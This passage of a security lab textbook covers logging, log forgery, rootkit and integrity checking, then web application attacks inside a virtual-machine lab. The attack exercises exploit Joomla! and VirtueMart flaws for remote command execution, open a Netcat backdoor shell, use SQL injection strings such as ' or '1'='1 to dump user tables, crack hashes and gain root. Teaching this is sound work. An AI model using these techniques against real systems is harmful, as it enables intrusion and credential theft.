Chapter 5
Logging and Log Analysis

Operating systems and applications typically come with mechanisms for reporting errors as well as security-relevant actions such as users logging on and off. These events are reported as entries in log files. The objective of logging is to make these events transparent and comprehensible. The log files can be used to analyze and optimize services as well as to detect and diagnose security breaches.

Many logging mechanisms are not configured optimally in practice. Important messages go undetected because of the large number of log entries that are triggered by irrelevant events. Users and administrators often do not even know where to search for specific log files and how to configure the associated logging mechanisms.

There are a number of tools available that support administrators with the task of keeping track of log files. Particularly important are tools that analyze the log files. These files often contain many entries which on their own are meaningless or simply not relevant to security. It is necessary to correlate and filter these entries in order to summarize events and detect suspicious or even dangerous incidents. Furthermore, tools exist that automatically raise an alarm or initiate countermeasures when there is evidence that malicious activities are taking place.

5.1 Objectives

After working through this chapter, you will know about different mechanisms for recording log information and where log information is usually stored. Furthermore, you will be able to explain why logging is important, in what situations a deeper analysis of log data can help, and which problems arise with logging and log analysis. In particular, you will be able to explain how the integrity of log data can be compromised and to what extent log information really reflects the actual status of a system. Finally, you will be able to plan and implement mechanisms to analyze log information for a specific system.

DOI 10.1007/978-3-642-24474-2_5,

5.2 Logging Mechanisms and Log Files

Since server applications often run in the background, system messages are not displayed on a monitor and may go unnoticed. These programs need other options for sending messages to users or system administrators.

Write to stdout or stderr: Some programs write their messages to the system's *standard output* (stdout) or *standard error output* (stderr), even while running in the background. This enables the administrator to divert the output into one or more log files.

Write to file: Many programs write their messages directly to one or more log files.

Syslogd: Many programs route their messages to a central program called syslogd, which writes the received messages to different log files according to predefined rules. This makes it possible to collect related messages from different programs in a single log file, e.g., `/var/log/syslog`. This in turn makes it easier for administrators to correlate and analyze the relevant information. In addition, syslogd offers the option of sending log messages over a network to other machines, so that log information from multiple machines can be collected centrally. In the following, we will examine rsyslogd (reliable and extended syslogd).

Dmesg/klogd: A special case is the kernel itself, which cannot use the syslog API directly. One reason is that there is a strict separation between the code and data in kernel space and that in user space. Therefore, kernel messages must be handled differently. Klogd runs in user space but accesses the kernel's internal message buffer, either via a special log device (`/proc/kmsg`) or using the `sys_syslog` system call. Usually, klogd then uses the syslog API to dispatch the log messages. The program dmesg is used to display the contents of the kernel ring buffer.

▷ Further information on the topics discussed in this chapter can be found in the manual pages of `logger`, `rsyslogd` and `rsyslog.conf`.

Problem 5.1 Why is rsyslogd not used by all server programs for logging? In particular, when should rsyslogd be avoided?

In addition to program-specific log files, there are also system-wide ones which centrally collect messages from different programs.

- `/var/log/wtmp` and `/var/log/lastlog`
  These files are used to track user logins. In `/var/log/wtmp`, information on all user logins is appended at the end of the file. The file `/var/log/lastlog` records when all the system users were last logged in and from where. There are many more system-wide log files in `/var/log/`.

The above-mentioned log files use a binary format. Therefore, there are associated tools for viewing their contents, such as `who(1)`, `last(1)` and `lastlog(8)`.

- `/var/log/syslog` and `/var/log/messages`
  These files collect all messages that could be of interest to the administrator.
- `/var/log/auth.log`
  This file includes entries with security-relevant information such as logins and calls to the commands `su` or `sudo`.

▷ Use the command `strace` to observe how rsyslogd handles messages. To do so, you must first derive the process ID of rsyslogd.

```
alice@alice:$ ps ax | grep rsyslogd
  524 ?        Sl     0:00 rsyslogd -c4
 1830 pts/0    S+     0:00 grep --color=auto rsyslogd

alice@alice:$ sudo strace -p 524 -f
[sudo] password for alice:
Process 524 attached with 4 threads - interrupt to quit
[pid 1843] restart_syscall(<...resuming interrupted call...>
<unfinished ...>
[pid 531] read(3,  <unfinished ...>
[pid 530] select(1, [0], NULL, NULL, NULL <unfinished ...>
[pid 524] select(1, NULL, NULL, NULL, 9, 725976) = 0 (Timeout)
[pid 524] select(1, NULL, NULL, NULL, 30, 0
...
```

To watch rsyslogd in action, open a second shell and execute, for example, tcpdump:

```
alice@alice:$ sudo tcpdump -i eth0
```

Using the command `lsof`, the numeric file handles can be linked to concrete files, making it apparent what files rsyslogd uses.

```
alice@alice:$ sudo lsof | egrep "(rsyslogd|PID)"
COMMAND   PID   USER   [ ... ] NODE   NAME
rsyslogd  524   syslog [ ... ] 2      /
rsyslogd  524   syslog [ ... ] 2      /
...
rsyslogd  524   syslog [ ... ] 136452 /var/log/auth.log
rsyslogd  524   syslog [ ... ] 132351 /var/log/syslog
rsyslogd  524   syslog [ ... ] 136116 /var/log/daemon.log
rsyslogd  524   syslog [ ... ] 136448 /var/log/kern.log
...
rsyslogd  524   syslog [ ... ] 136909 /var/log/messages
```

Problem 5.2 Describe the logging procedure of rsyslogd as it is observed above and by reading the manual page of `rsyslogd(8)`.

Problem 5.3 On **bob**, find the log files for the network services httpd and sshd. Briefly explain the logging mechanisms and why they are applied.

Problem 5.4 On **bob**, find out what the files /var/log/mail.log, /var/log/mysql/mysql.log and /var/log/dmesg are used for. Which programs use them? Configure MySQL so that its log information is stored in /var/log/mysql.log.

5.2.1 Remote Logging

Rsyslogd offers the possibility not only to write messages into a file, but also to send them over the network to other machines. It does this by sending them to a rsyslog daemon via UDP or TCP. Use the manual page of rsyslog.conf to answer the next question.

Problem 5.5 How can you configure **alice** and **bob** so that all of **bob**'s messages are logged by **alice**?

Problem 5.6 What are the pros and cons of this method with respect to security?

5.3 Problems with Logging

5.3.1 Tampering and Authenticity

Log files are usually protected only in limited ways. In particular, restrictive access authorization or specific file attributes (such as append only) are typically used to provide protection against ordinary users without root privileges. However, whenever an adversary gains *root* access, such methods can be circumvented.

To begin with, rsyslogd does not authenticate users. Therefore every user can insert arbitrary messages:

```
alice@alice:$ logger -t kernel -p kern.emerg System \
> overheating. Shutdown immediately

alice@alice:$ tail /var/log/syslog
Aug 31 11:17:02 alice kernel: System overheating. Shutdown
immediately
```

A useful tool in shell scripts and cron jobs is the program `logger`, which can be used to create syslog messages. The message created above is indistinguishable from a real message, created by the kernel itself.

Problem 5.7 Why is this security relevant?

Even binary files like `wtmp` can be manipulated using a simple C-program, when the adversary obtains *`root`* access. Undesirable entries can be removed or altered arbitrarily.

Problem 5.8 What can an adversary gain by using such a program to modify specific entries in log files?

Problem 5.9 Why may altered entries be more dangerous than deleted ones?

5.3.2 Tamper-Proof Logging

The term "tamper-proof logging" is often used to describe logging mechanisms that are protected from manipulation. But no system is perfectly "tamper proof". Some people therefore use the terms "tamper resistant" or "tamper evident". These are weaker notions that only require manipulations to be detectable.

A remote centralized log server has several advantages, which we have already described. In the following, consider how such a log server can be compromised and what countermeasures can be taken.

Problem 5.10 How would you design a system that makes it as difficult as possible for an adversary to compromise log information? Be creative in your solution!

5.3.3 Input Validation

Log messages typically include strings indicating the cause of the logged event. Such a string might, for example, be the result of an error message generated by a system call. However, it might also originate from user input, such as a user name entered in a login procedure. The processing of log messages, for example, using log analysis tools, thus requires input validation to prevent potential problems such as buffer overflows or code injection.

5.3.4 Rotation

To prevent log files from becoming too voluminous, they are rotated on a regular basis. When this is done, the files are created afresh after a predefined period of time or when a specific size is reached. Files rotated out are usually associated with the current date and are deleted or archived at regular intervals.

▷ Read the manual page of `logrotate`. Find the configuration file for logrotate on **`alice`** and change it so that all log files are compressed after rotation. Before you do this, create a snapshot of the virtual machine and switch back to the snapshot after the experiment in order to have non-empty log files for the log data analysis that will follow later in this chapter. Use `logrotate -f /etc/logrotate.conf` to test your changed configuration.

Problem 5.11 How is logrotate usually started?

5.4 Intrusion Detection

An *intrusion detection system* (IDS) monitors network and system activities for events suggesting suspicious behavior. Typically the monitored activities are reported to a management system that correlates information from multiple monitors. Intrusion detection systems may additionally be extended with *intrusion prevention systems* (IPS), which take countermeasures when suspicious activities are reported. In this section we will focus only on IDSs.

A distinction is commonly made between *host-based* and *network-based* IDSs. Host-based systems run directly on the monitored machine and can analyze relevant information on the machine such as log files, network traffic and process information. Network-based systems run on dedicated hosts and are often integrated into a network as probes. Such systems overhear network communication but do not communicate on the network themselves and are therefore difficult to attack.

Some host-based systems search a given system state (a static snapshot of the system at some time point) for signs of a possible break-in. This is done by comparing the given state to a previously captured state in order to identify differences that suggest malicious behavior. Alternatively, the tool may search the given state for specific evidence of a break-in, for example, a known attack pattern.

Other host-based systems check for occurrences of known attack patterns on the running machine in real time. This includes analyzing network traffic, log entries, running processes and the like. Anomalies can be detected during intrusion and specialized countermeasures can be taken to mitigate attacks. Alternatively, the administrator can be informed.

Instead of studying a single IDS in detail, we will study some of the underlying techniques used by such systems. In what follows, we will focus on host-based systems that search for static differences only.

5.4.1 Log Analysis

Important log entries are often hidden among many irrelevant entries in a log. It may also be necessary to collect and correlate log information from different sources.

> **Problem 5.12** Search for entries that indicate login failures. What files do you have to check for this?

A helpful tool when searching for specific log entries is the `grep` command:

```
alice@alice:$ grep failure /var/log/auth.log
Sep 17 14:08:04 alice su[4170]: pam_unix(su:auth):
authentication failure;
logname=alice uid=1001 euid=0 tty=/dev/pts/1 ruser=bob rhost=
user=alice
Sep 17 14:08:06 alice su[4170]: pam_authenticate:
Authentication failure
...
```

The use of `grep` makes sense whenever an administrator has a concrete suspicion that requires confirmation. The *Simple Watcher* (Swatch) enhances this approach by making it possible to find specific expressions in a log file and to define corresponding actions that are triggered when these expressions occur. The relevant patterns and actions can be defined in a swatch configuration file.

```
alice@alice:$ echo "watchfor /failure/" > mySwatch.conf
alice@alice:$ echo "echo" >> mySwatch.conf
alice@alice:$ cat mySwatch.conf
watchfor /failure/
echo

alice@alice:$ swatch -c mySwatch.conf -f /var/log/auth.log

*** swatch version 3.2.3 (pid:8266) started at Fri Sep 17
14:13:18 CEST 2010

Sep 17 14:08:04 alice su[4170]: pam_unix(su:auth):
authentication failure; logname=alice uid=1001 euid=0
tty=/dev/pts/1 ruser=bob rhost=  user=alice
Sep 17 14:08:06 alice su[4170]: pam_authenticate:
Authentication failure
...
```

Problem 5.13 Configure Swatch so that it shows all log entries indicating that a user switches to superuser mode and back. Color the switch to superuser mode red and color the switch back green. What does your Swatch configuration file contain?

Swatch can even be used to permanently observe a file by using the option `-t`. However Swatch is a simple tool and there are many more sophisticated alternatives like LogSurfer, which are not covered here.

5.4.2 Suspicious Files and Rootkits

Whenever an attack is successful, log data is no longer trustworthy, since the adversary could have changed the log files arbitrarily in order to cover his actions. However, log file analysis is not the only way to detect attacks. Adversaries often leave additional evidence elsewhere. Failed buffer-overflow attacks, for example, lead to core dumps (except when they are disabled). Moreover, whenever an adversary has been successful, he needs a place to save programs and data. Adversaries are often highly creative and go to great lengths to hide their files from administrators. Some common hiding places are `/dev/`, `/var/spool/` or `/usr/lib/`. Often the files are named with just a single blank or a special character:

```
alice@alice:$ sudo mkdir '/dev/ '
```

Alongside the thousands of files in `/dev/`, this directory is unlikely to be noticed. However, since directories are rare in `/dev/` it can be found easily:

```
alice@alice:$ find /dev -type f -o -type d
/dev
/dev/
/dev/v4l
...
...
/dev/bus/usb/001
/dev/net
/dev/pktcdvd
```

In the above example, this directory is listed on the second line of around 40 lines. Moreover, if you know a file's name, you can find it using the command `find`. Let us now search the file system for files named with blank characters to find the directory created above:

```
alice@alice:$ find / -name ' '
/dev/
/home/alice/.gnome-desktop/alice's Home
```

Of course, in practice you will usually not know the name of the adversary's directories and files and more sophisticated programs must be used to detect differences. We will return to this question shortly in Sect. 5.4.3.

A rootkit is a collection of software tools that are installed by an adversary on a compromised system in order to hide his activities and to provide him with access back into the system. Rootkits typically hide files and processes by modifying system binaries like `ps` and `ls` such that these programs do not return all the correct information. Additionally, the behavior of the kernel can be manipulated by modifying kernel modules. For example, it is possible to replace arbitrary system calls and to modify kernel-specific data structures. An administrator using the adversary's modified binaries is therefore unable to detect a successful break-in. It is important that the output of the analysis tools is trustworthy, otherwise no meaningful statement can be made about a system's security properties. The only help in such situations is to boot from trusted media like a floppy disk or a CD.

▷ You will find on **`alice`** the program *check rootkit* (chkrootkit). This program performs a series of tests and can detect numerous widely used rootkits. Furthermore, it detects network interfaces in promiscuous mode and altered files like the log files `lastlog` and `wtmp` mentioned above. Check **`alice`** for possible rootkits.

```
alice@alice:$ sudo chkrootkit
ROOTDIR is '/'
Checking 'amd'...                                      not found
Checking 'basename'...                                 not infected
Checking 'biff'...                                     not found
Checking 'chfn'...                                     not infected
...
```

Note that if chkrootkit is installed on a compromised system, an adversary who has acquired superuser privileges can also modify this program. Thus it is good practice to put programs like chkrootkit on removable or read-only media.

5.4.3 Integrity Checks

To detect the manipulation of files, their checksums can be compared to their checksums in a previously saved state. A simple way to perform such a comparison is as follows:

```
alice@alice:$ sudo find / -xdev -type f -print0 | \
> sudo xargs -0 md5sum > new.md5

alice@alice:$ diff -1 -u old.md5 new.md5
```

Here `old.md5` is the previously computed checksum.

There are several tools for integrity checks that are more powerful than this simple solution. Popular programs are the commercial tools Tripwire and the open source program Advanced Intrusion Detection Environment (AIDE). These tools allow administrators to define which directories or files should be checked according to given criteria. Furthermore, these tools work with different algorithms in order to minimize the probability that a specific file is replaced by another file with precisely the same checksum.

> **Problem 5.14** What are the disadvantages of working with checksums? What is checked? What cannot be checked?

We will now take a closer look at AIDE and provide a simple example where we check for file system changes in the directory `/etc` on **`alice`**.

▷ Read the manual pages of `aide` and `aide.conf` and create a new AIDE configuration file `/etc/aide/aide2.conf` on **`alice`** that states that `/etc` should be recursively checked for changes to permissions, file size, block count and access time.

```
# The input and output paths
database=file:/var/lib/aide/aide.db
database_out=file:/var/lib/aide/aide.db.new

# Define the rules
ThingsToCheck=p+s+b+a

# Define the locations to check
/etc    ThingsToCheck
```

Based on this configuration information, the initial database must be created. This database will be used for comparison when performing integrity checks later on.

```
alice@alice:$ sudo aide -i -c /etc/aide/aide.conf

AIDE, version 0.13.1

### AIDE database at /var/lib/aide/aide.db.new initialized.
```

After the database `aide.db.new` is created, we rename it to match the database input path of the configuration file and run a check.

```
alice@alice:$ sudo mv /var/lib/aide/aide.db.new \
> /var/lib/aide/aide.db

alice@alice:$ sudo aide -C -c /etc/aide/aide2.conf

AIDE, version 0.13.1

### All files match AIDE database. Looks okay!
```

Problem 5.15 Why should you store the reference database on read-only media such as a CD when using AIDE on a running system?

Problem 5.16 Create a new file `/etc/evilScript.sh`, then change the owner of an existing file in `/etc` such as `/etc/fstab` by using the command `sudo chown alice /etc/fstab` and run the check again. Why is the directory `/etc` listed under changed files? What is the difference between *mtime* and *ctime*?

The above example was rather simple. We will now put everything together and configure **`alice`** by using the configuration file that was shipped with the default installation of AIDE.

▷ Open the configuration file `/etc/aide/aide.conf` and read through the comments to become familiar with the checking rules.

Problem 5.17 Configure AIDE on **`alice`** such that the system binaries as well as `/etc` and other relevant files are checked. Determine yourself what "relevant" means in this context. Use the given AIDE configuration file and add your *selection* lines.

5.5 Exercises

Question 5.1 What are *rootkits* and what is their purpose? Explain the benefits that they provide to an adversary.

Question 5.2 *Rootkits* are typically mentioned in combination with an adversary who has gained administrative rights on a target machine. Why is this case especially critical, compared to the case where an adversary has not yet gained these rights?

Question 5.3 How can *rootkits* be detected and what are possible counter-measures?

Question 5.4 One of the servers under your control behaves strangely and you suspect that a hacker has gained administrative rights on it. Fortunately, you have an external backup of the system. So you decide to compare the MD5 checksums of system-relevant files. How would you proceed? What must you take into account?

Question 5.5 Explain the purpose of an *intrusion detection system* and the difference between *host-based* and *network-based* intrusion detection systems.

Question 5.6 What is an *intrusion prevention system*? What are the differences with respect to *intrusion detection systems*? Would you consider a firewall (packet-filter) as an *intrusion prevention system* or as an *intrusion detection system*?

Chapter 6
Web Application Security

This chapter covers web applications and their associated security mechanisms. You will audit web applications and identify vulnerabilities from a user's (or adversary's), a maintainer's and a developer's perspective. You will exploit the vulnerabilities and see their consequences. Then you will investigate the reasons for the vulnerabilities and finally work on the source code to rectify the underlying problems.

6.1 Objectives

You will learn about the most common vulnerabilities of web applications, how to identify them, and how to prevent them. You will learn how to analyze an application using a *black-box* approach and by reviewing the source code.

- You will be able to list the most common pitfalls a web application programmer faces, what causes them and how to avoid them.
- You will know how to gather information about an application you have access to, but without access to the source code. This includes information about the overall structure of the application as well as the mechanisms that the application employs.
- You will learn how to test an application for known exploits and will gain experience with such exploits.
- You will gain insight into auditing the source code of a web application and into identifying and solving problems.

6.2 Preparatory Work

Note that the code fragments in this chapter are fragile in that a single missing or differing character may prevent an example from working. If an example fails to work for you, do not despair! Double check your input and in particular your use of special characters, e.g., `'` versus `` ` ``.

A good source of information for this chapter is the Open Web Application Security Project (OWASP, www.owasp.org). The aim of this project is to improve the security of application software, and the OWASP web page is a valuable source of information on web application security. Besides providing documentation on security-related topics, OWASP maintains a vulnerability scanner for web applications (WebScarab) as well as a Java-based platform (WebGoat) to demonstrate numerous vulnerabilities found in web applications.

To begin with, read through the article *OWASP Top Ten Vulnerabilities* [13], which you can find on the Internet, and answer the following questions.

Problem 6.1 A vulnerability description in OWASP's terminology involves five components: *threat agents*, *attack vectors*, a *security weakness*, a *technical impact* and a *business impact*. What is a *threat agent*? What is meant by an *attack vector*?

▷ List all ten vulnerabilities (just keywords). Leave space after each item so that you can add your own comments while working through this chapter.

Problem 6.2 At the time of writing this book, cross-site scripting (XSS) and cross-site request forgery (CSRF) were extremely popular attacks. Explain how both attacks work.

6.3 Black-Box Audit

In the first part of this section, we will collect as much information as possible about a given web application without examining its source code. We are given a valid login and will explore the application from a user's perspective. This *black-box* approach is taken by someone who has no access to the source code. In many cases, this method turns out to be the simplest way to get a rough idea of the structure and the internals of an implementation and is more efficient than going through endless lines of code.

We begin our analysis by identifying the infrastructure behind the web application running on `bob`. Note that if you hardened `bob` during the operating system security practicals, you are likely to have disabled services that are needed at this point. You must now re-enable these services or reinstall the virtual machine `bob`.

▷ On `bob` there is an HTTP server and a web application running (http://bob/). Mallet has a regular user account with user name *mallet* and password `mallet123`.

Problem 6.3 Gather information about the infrastructure (OS, web server, etc.) running on `bob` using tools such as Nmap, Netcat and Firebug (a Firefox add-on).

At this point, we know the operating system, the web server and the PHP module running on `bob`. In practice, an analysis of the infrastructure might involve additional steps. For example, there might be a load-balancer that distributes requests to the web site among a set of servers. It might even be the case that these servers differ in their operating systems or patch-levels. Additional obstacles to identifying the underlying infrastructure might be proxies and web application firewalls.

Our next goal is to find information about the actual applications running on `bob`. Just looking at the web site with a browser reveals important information, namely that the site is built using Joomla!, an open-source content management system (CMS), and VirtueMart, an open-source e-commerce solution running on Joomla!. Simply looking at the source of the page (e.g., using Firebug) we find the version of Joomla! used on the server, namely version 1.5.

Apart from manually browsing the site, it is useful to watch the raw HTTP requests and responses and even intercept and change them en route. This can be done using add-ons to Firefox such as Firebug and Tamper Data. Another alternative is a simple text-based browser such as lynx.

▷ Use the Firefox add-ons Firebug, Firecookie, and Tamper Data on `mallet`'s Firefox installation to browse the site http://bob. Intercept and study some of the requests using Tamper Data. Change some values when selecting a message to view.

In order to analyze the web site in greater detail and to find the directory structure of the server, it is often useful to mirror the entire application as a local copy that can be studied more easily. Examples of tools that automatically follow every link they can find starting at a given URL are `wget` and `lynx`. Using such tools, you can store the whole site on your own computer and further analyze the files using tools such as `grep` to find interesting strings in the entire directory tree.

Problem 6.4 List the strings you would look for in an application and argue why they are interesting. For example, *input* tags in form fields might be an input field for a password.

However, in cases where automated tools are used to generate the web site, like in our example, you might find important information about the directory structure online.

Problem 6.5 Try to discover relationships between the different PHP scripts on host `bob`'s web site. What gets called when and by whom? Which pages accept user-supplied input? What methods are used (GET vs. POST)? What are the directory and file names? Which pages require prior authentication and which do not?

Combine online and offline resources to answer these questions. This entails studying the application using the browser and proxy (Tamper Data) as well as studying your local copy of the application. Compile all the information about the application in a suitable way. It is up to you how you structure the information, e.g., in a table, flowchart, mind map or finite state machine.

6.4 Attacking Web Applications

After collecting basic information about the target system, we come to the phase where we search for known vulnerabilities, or even find unreported vulnerabilities by probing the application. Probing an application is normally a long and tedious process.

In the following, we present a set of vulnerabilities together with corresponding exploits. We also encourage readers to look for additional vulnerabilities and exploits themselves.

6.4.1 Remote File Upload Vulnerability in Joomla!

According to SecurityFocus BugtraqId 35780 (www.securityfocus.com/bid/35780), Joomla! versions 1.5.1 through 1.5.12 are vulnerable to a "Remote File Upload Vulnerability". Unfortunately, `bob` is running the vulnerable Joomla! version 1.5.12.

Problem 6.6 Use the Internet to find out more about this vulnerability. Hint: An exploit for this vulnerability can also be found in a plug-in of the Metasploit Framework. Describe the problem in a few sentences.

▷ In the directory `/home/mallet/Exploits` on **`mallet`** you will find an exploit for the above vulnerability. Go to the directory `Remote Command Execution/Joomla 1.5.12`. There are two shell scripts, `upload.sh` and `exploit.sh`. In combination with the PHP script `up.php`, these shell scripts can be used to execute arbitrary commands on **`bob`**.

Execute the script `exploit.sh` with the command you want executed on **`bob`** as an argument. For example, the following will execute `ls -al`.

```
mallet@mallet:$ ./exploit.sh "ls -al"
```

Problem 6.7 Read through the script files and explain how the exploit works. How can you execute a command remotely on **`bob`**?

6.4.2 Remote Command Execution

Whereas many attacks on web applications result "only" in the disclosure of confidential information, the adversary's ultimate goal is to be able to execute commands on the server. Once an adversary can execute commands on a server, even when only under restricted rights, it is only a matter of time until he gains full control over the server. In our last example in Sect. 6.4.1, we started our attack using a vulnerability that allowed us to upload arbitrary files onto the web server running on **`bob`**. We used this vulnerability to upload a PHP script that enabled us to execute arbitrary commands by sending them simply as parameters of GET requests to the web server.

For the following attack, we use a different vulnerability that will allow us to execute arbitrary commands.

Problem 6.8 On the web server hosted on **`bob`**, the e-commerce solution VirtueMart (Version 1.1.2) is running as an extension of Joomla!. Search on the Internet for remote command execution vulnerabilities in VirtueMart and describe one of them.

Problem 6.9 Try to exploit the vulnerability you found in Problem 6.8.

So far we have found a way to execute any command on the target system (**`bob`**). We will next use this vulnerability in VirtueMart to open a backdoor on **`bob`**.

Problem 6.10 We assume that the tool Netcat has been installed on **`bob`**. Use the remote command execution vulnerability you found in this section in combination with Netcat to open a TCP port on **bob**. After establishing a connection to this port, execute a shell on **bob** connecting stdin and stdout to the shell. Hint: There is a Netcat option that may help you.

6.4.3 SQL Injections

A SQL injection is a code injection technique that allows an adversary to execute arbitrary commands on a SQL database serving a web application. Typically, a vulnerable application builds a SQL query based on input provided by a user. For example, the application might validate a user name and password combination against a database and therefore sends a query to the database including the user name and password provided by the user. If the user's input is not correctly filtered for escape characters, the user might maliciously manipulate the SQL query built by the application. In the example of the user name and password check, a malicious user might circumvent the check by crafting a SQL query that evaluates to true even when the correct password is missing.

Exploiting this kind of vulnerability allows an adversary to read, insert or modify sensitive data in the database. As a result, adversaries may spoof identities, tamper with existing data (such as changing account balances), destroy data, and in this sense become the database administrator. It is not hard to imagine the damage that can occur, especially when the database contains sensitive data like users' credentials. In general, SQL injections constitute a serious threat with high impact.

Example 6.1. Consider the following vulnerable PHP code fragment:

```
$name = request.getParameter("id")
$query = "SELECT * FROM users WHERE username ='$name'"
```

In this code the SQL query is composed of a SQL statement where the variable *name* is received as part of a URL (e.g., using a GET request) like the following:

```
http://sqlinjection.org/applications/userinfo?id=Miller
```

Unfortunately, there is no restriction on what is accepted as input for the variable *name*. So an adversary might even input SQL statements that would change the effect of the original statement.

In the original statement, the *WHERE* clause is used to restrict the query to only those records that fulfill the specified criterion. However, an adversary could insert a criterion fulfilled by any record. An example is shown in the following request:

```
http://sqlinjection.org/applications/userinfo?id=' or'1'='1
```

This request would result in a SQL statement that returns all records in the database instead of only that of a single user with a given name. The resulting SQL statement would look like this.

```
SELECT * FROM users WHERE username ='' or '1'='1'.
```

This command returns all records contained in the table *users* and could be used by an adversary to access records of other users.

To test whether an application is vulnerable to SQL injections, one typically inputs statements such as `' or '1'='1` or simply `'--` (SQL's comment tag, followed by an empty space) and observes the server's answer. Sometimes one must guess the structure of the SQL request that processes the input in order to successfully inject working code.

Problem 6.11 Host **`bob`** runs a web server that hosts Bob's web shop. On the starting page of the shop, there are two elements that require user input and might be vulnerable to SQL injections. Find these elements and test their vulnerabilities. What tools did you use, and how did you use them?

Having identified the vulnerable element of the web site, we now want to exploit the vulnerability. Therefore we must determine the structure of the SQL statement that uses the unvalidated input.

Problem 6.12 Given the SQL injection vulnerability you have found in Problem 6.11, what is the structure of the SQL statement that uses the unvalidated input?

To attack the system, we are not interested in the table that holds the poll results (although an adversary might use the vulnerability to change the result of the poll). However, Joomla! creates, by default, a SQL table `jos_users` to maintain user information such as the user names and passwords. This table seems to be even more valuable than the table containing information about the poll. Besides the name of the table (`jos_users`), we also know that the table contains the two columns `username` and `password`.

Problem 6.13 Using the vulnerability you previously identified, come up with a SQL injection that returns the `username` and `password` entries in the table `jos_users`.

At this point we have successfully extracted the table containing all user names and passwords. Unfortunately, from the adversary's perspective, the table did not contain the passwords in plaintext, but the MD5 hashes of the passwords. In order to reconstruct the plaintext passwords from the MD5 hashes we will now use the password cracker *John the Ripper* [16].

Problem 6.14 The password cracker *John the Ripper* (command `john`) is installed on **`mallet`**. With the password hashes you extracted from the database in the last assignment, find the original passwords using the password cracker.

6.4.4 Privilege Escalation

In the last few sections we have seen different attacks against web applications, such as remote file upload or remote command execution. Typically, an adversary's ultimate goal is to gain administrative control of the target system. On a Linux system this corresponds to the ability to execute arbitrary code with *`root`* privileges; said more technically, the adversary executes processes under the user ID 0. However, as the examples so far have shown, exploiting a vulnerability of an application does not automatically guarantee administrative access to the target machine. As described in Chap. 1, it is common practice to run potentially vulnerable applications with restricted privileges.

Problem 6.15 In Sects. 6.4.1 and 6.4.2 we studied different ways to obtain a shell on the remote system. What are the user IDs of these shells? If the user ID was not 0, would it be possible simply to use the password cracker *John the Ripper* to extract the passwords from the `/etc/shadow` file and to log in as *`root`*?

Once the adversary has gained access to a system his goal is to change the user ID of the process he controls to 0 and thereby gain *`root`* access. This process is called *privilege escalation*.

The following example combines the remote file upload vulnerability described in Sect. 6.4.1 with a local kernel exploit that allows you to gain a *`root`* shell on **`bob`**. You can find the necessary code in the *Exploits* directory on **`mallet`** in the directory `Combination: File Upload and Local Root Exploits`.

Note that since this exploit modifies parts of the kernel running on **`bob`**, running the exploit code may damage the virtual machine, for example, resulting in a file system inconsistency. We therefore recommend that you take a snapshot of the current state of **`bob`**'s virtual machine, which you may return to in case the exploit damages **`bob`**'s system.

▷ On **`mallet`** you can find the shell script `exploit.sh` in the subdirectory *Combination: File Upload and Local Root Exploits* of the directory `/home/mallet/Exploits`. Execute the exploit and verify that you indeed got a *`root`* shell on **`bob`**.

Problem 6.16 Describe how the exploit works. How are different vulnerabilities combined to acquire remote *`root`* access on **`bob`**? Find information about the kernel exploit on the Internet and explain the vulnerability in the kernel code.

6.5 User Authentication and Session Management

Many applications require user authentication in order to restrict access to resources to a set of authorized users. Examples include online banking, Internet shops, mail services, etc. Depending on the application's purpose, the impact of a flawed authentication mechanism may vary from negligible to severe.

In its simplest form, user authentication is based on a user's knowledge of a secret. The authentication mechanism may use cryptographic algorithms to demonstrate that a user knows the secret in such a way that any adversary eavesdropping on communication cannot subsequently impersonate the user. More sophisticated forms of user authentication use multiple factors, such as passwords combined with hardware tokens or biometrics.

After successful user authentication, the next problem we face is *Session Management*: How can we associate related requests to build a session initiated by an authenticated user?

Problem 6.17 Why is session management important in combination with HTTP?

Problem 6.18 The transport-layer protocol TCP is connection oriented and TCP connections are sometimes called *sessions*. How is a TCP session defined, and how do the endpoints identify a TCP session?

In the following, we will see examples of authentication and session handling mechanisms. For this purpose, we will consider an application on **`alice`**. In contrast to the preceding sections on web application security, where we took a black-box approach, we will this time inspect the corresponding source code and, in doing so, we will take a white-box approach. On **`alice`** you find an Apache web server. The web site on the server is a message board that has been implemented by Alice herself. Since she wants to protect the message board from potential abuse, she has secured it with an authentication and a session handling mechanism. The main configuration files for the web site can be found on **`alice`** in the directory `/var/www`. Alice, Bob, and Mallet have user accounts for the message board. Their respective user names and passwords are: (*`alice`*, `alice123`), (*`bob`*, `bob123`), and (*`mallet`*, `mallet123`).

6.5.1 A PHP-Based Authentication Mechanism

Alice has written her own login procedure using PHP in combination with a MySQL database.

Problem 6.19 Log in using one of the user names given above. What is transmitted? How does the authentication process work? List potential security problems.

Let us look next at how the session management is implemented.

▷ Log in to the message board several times, possibly using different user accounts. Submit messages to the message board and observe the parameters of the corresponding session.

Problem 6.20 Given your observations, how do you think that session management is implemented? Do you see any potential security problems?

Coming back to the authentication mechanism, let us take a closer look at possible input validation problems. Obviously the web server must check the user name and password combination. Since PHP is often used in combination with MySQL databases, there is a chance that we will find a SQL injection vulnerability.

Problem 6.21 Find a possible SQL injection vulnerability in Alice's web application. What strings did you enter? How did you conclude that there really is a SQL injection problem?

When trying to exploit the SQL vulnerability, you might notice that it is only possible to log in as user *`mallet`*. Since we have access to **`alice`**, we can inspect the code to see where the SQL injection originates and why it appears impossible to log in as a different user.

Problem 6.22 Given the source code of the application on **`alice`** (function `check_login(.,.)` in `alice:/var/www/login.php`) explain why it is only possible to login as *`mallet`*, even when you provide another user name in combination with the code `' OR '1'='1` in the password field. Given the source code of the application, find a SQL injection that lets you log in as any other user.

6.5.2 HTTP Basic Authentication

The next type of authentication mechanism we consider is *basic authentication* provided by the Apache web server. This method allows a web browser or any other HTTP client program to provide credentials such as a user name and password. This method is defined in RFC 1945 [1] as part of the HTTP/1.0 specification. Further information can be found in RFC 2617 [4].

▷ On **alice**, edit the file /var/www/index.php and change the variable $auth_type from the initial value get to basic. Afterwards, try to access the message board on Alice's web site from **mallet** and observe how the server's behavior has changed. Use tcpdump, Wireshark or Firebug to follow the communication between the server and the client, when authenticating at the web site. It may help you to empty the browser's cache before connecting.

Basic authentication allows the web site administrator to protect access to directories on a web site. Basic authentication can be enabled in various ways. Once enabled, the server then asks for authentication if the client attempts to access a protected directory.

Problem 6.23 How does the server signal to the client that access to the resource requires authentication?

Problem 6.24 What happens if after successful log in to the protected area of the web site, you later want to reconnect to the protected area?

There are several ways to enable basic authentication for a given directory on a web server. This has been done on **alice** by adding to the Apache config file /etc/apache2/sites-enabled/alices-forum the following entry:

```
<Directory /var/www/forum>
    AuthType Basic Authname "Login"
    AuthUserFile /var/www/passwords
    Require valid-user
